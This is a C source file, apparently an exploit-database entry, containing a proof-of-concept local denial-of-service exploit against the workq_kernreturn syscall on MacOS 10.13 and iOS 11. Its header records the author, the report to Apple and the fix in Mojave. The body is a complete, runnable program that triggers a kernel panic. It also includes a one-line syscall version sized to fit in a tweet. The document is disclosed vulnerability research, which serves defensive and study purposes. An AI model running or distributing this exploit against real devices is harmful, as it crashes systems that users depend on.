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41 lines
No EOL
1.4 KiB
C
41 lines
No EOL
1.4 KiB
C
/*
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# Exploit Title: MacOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)
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# Date: 2018-07-30
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# Exploit Author: Fabiano Anemone
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# Vendor Homepage: https://www.apple.com/
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# Version: iOS 11.4.1 / MacOS 10.13.6
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# Tested on: iOS / MacOS
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# CVE: Not assigned
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# Tweet: https://twitter.com/anoane/status/1048549170217451520
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# iOS 11 / MacOS 10.13 - workq_kernreturn syscall local DoS
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# workq_kernreturn_dos.c
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# workq_kernreturn_dos
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# Created by FABIANO ANEMONE (@ on 7/30/18.
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# Copyright © 2018 FABIANO ANEMONE (fabiano.anemone@gmail.com). All rights reserved.
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# Reported to product-security@apple.com on 7/30/18
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# Fixed in Mojave.
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/syscall.h>
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#include <sys/errno.h>
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#define WQOPS_THREAD_WORKLOOP_RETURN 0x100 /* parks the thread after delivering the passed kevent array */
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int workq_kernreturn(int options, user_addr_t item, int affinity, int prio) {
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return syscall(SYS_workq_kernreturn, options, item, affinity, prio);
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}
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int main(int argc, const char * argv[]) {
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//short version that fits one tweet:
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//syscall(368,256,1,1);
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errno = 0;
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user_addr_t any_non_zero_address = 1;
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int res = workq_kernreturn(WQOPS_THREAD_WORKLOOP_RETURN, any_non_zero_address, 1, 0);
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// MacOS 10.13.X and iOS 11.X will panic at this point
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printf("workq_kernreturn: %d - res: %d - errno: %d\n", 0, res, errno);
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return 0;
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} |